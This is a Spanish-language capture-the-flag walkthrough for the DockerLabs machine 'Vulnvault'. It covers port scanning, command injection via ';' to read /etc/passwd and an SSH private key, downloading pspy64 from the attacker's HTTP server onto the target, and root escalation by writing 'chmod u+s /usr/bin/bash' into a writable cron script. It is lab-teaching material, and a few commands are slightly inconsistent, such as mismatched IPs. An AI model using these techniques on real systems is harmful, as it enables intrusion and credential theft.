Maquina Vulnvault
Table of contents
Nombre de la Máquina: Vulnvault
Sistema Operativo: Linux
Dificultad: Fácil
Plataforma: DockerLabs
Dirección IP: 172.17.0.2
Escaneo de puertos
Empezamos escaneando los puertos disponibles en la maquina:
sudo nmap -sS -p- --open -T5 -n -Pn -v 172.17.0.2 -oG allports
Obtenemos los siguientes puertos abiertos :
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 14:43 -05
Initiating ARP Ping Scan at 14:43
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 14:43, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:43
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 14:43, 0.52s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up (0.0000040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
En el resultado que nos arroja vemos que tenemos los puertos 22,80 por lo tanto realizamos un análisis mas detallado para ver que servicios están corriendo por estos:
> nmap -sCV -p22,80 172.17.0.2 -oG Puertos
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 14:47 -05
Nmap scan report for vulnvault.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_ 256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Generador de Reportes - Centro de Operaciones
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds
Ingresamos ala pagina web que tenemos corriendo por el puerto 80 para ver que tenemos:
En la pagina vemos un enlace donde podemos subir archivos, aproveche para ejecutar una reverse Shell para saber si era posible un tipo de conexión pero no fue así.
Después de inspeccionar el código de fuente de la pagina revise la primer pagina “Generar Reportes” para ver si lograba alguna respuesta, ya que en la pantalla me imprimía cierta información.
Intrusión
Nos dimos de cuenta que nos corre comandos anteponiendo ;
Por lo tanto procedo a leer el archivo /etc/passwd
para ver que usuarios encontramos.
Encontramos una usuaria samara
, trate por medio de Hydra lograr descifrar alguna contraseña pero no fue posible, por eso intente buscar la cave privada del ssh del usuario samara, y efectivamente la encontramos..
Procedemos a copiarla y crear un archivo en nuestro directorio para asi darle permisos y poder loguearnos por ssh
nano id_rsa
chmod 600 id_rsa
ssh samara@172.17.0.2 -i id_rsa
Escalada de Privilegios
Empezamos por revisar los archivos del escritorio pero no hay nada relevante.
Vamos a continuar revisando como escalar privilegios:
Permisos SUID
Privilegios Sudoers
Tareas Cron
Al ver que no hay nada relevante procedo a descargar pspy64 y transferirlo la maquina con esto ver que podemos encontrar.
Desde mi maquina.
> python3 -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
Maquina Victima, una vez recibimos el script le damos privilegios y ejecutamos.
wget http://194.168.145.145:443/pspy64
--2024-09-30 22:29:31-- http://192.168.153.145:443/pspy64
Connecting to 192.168.153.145:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100% 2.96M 17.4MB/s in 0.2s
2024-09-30 22:29:31 (17.4 MB/s) - ‘pspy64’ saved [3104768/3104768]
chmod 600 pspy64
./pspy64
Encontramos que se esta ejecutando constantemente el archivo /usr/local/bin/echo.sh.
Ingresamos al directorio y vemos que tiene permisos de escritura por lo que lo editamos para poder escalar privilegios
nano /usr/local/bin/echo.sh
#!/bin/bash
chmod u+s /usr/bin/bash
Una vez modificamos y guardamos ejecutamos el comando bash -p
obtendremos una bash privilegiada con permisos root.
Subscribe to my newsletter
Read articles from frogtheripper directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
frogtheripper
frogtheripper
Estudiante y apasionado por el Hacking etico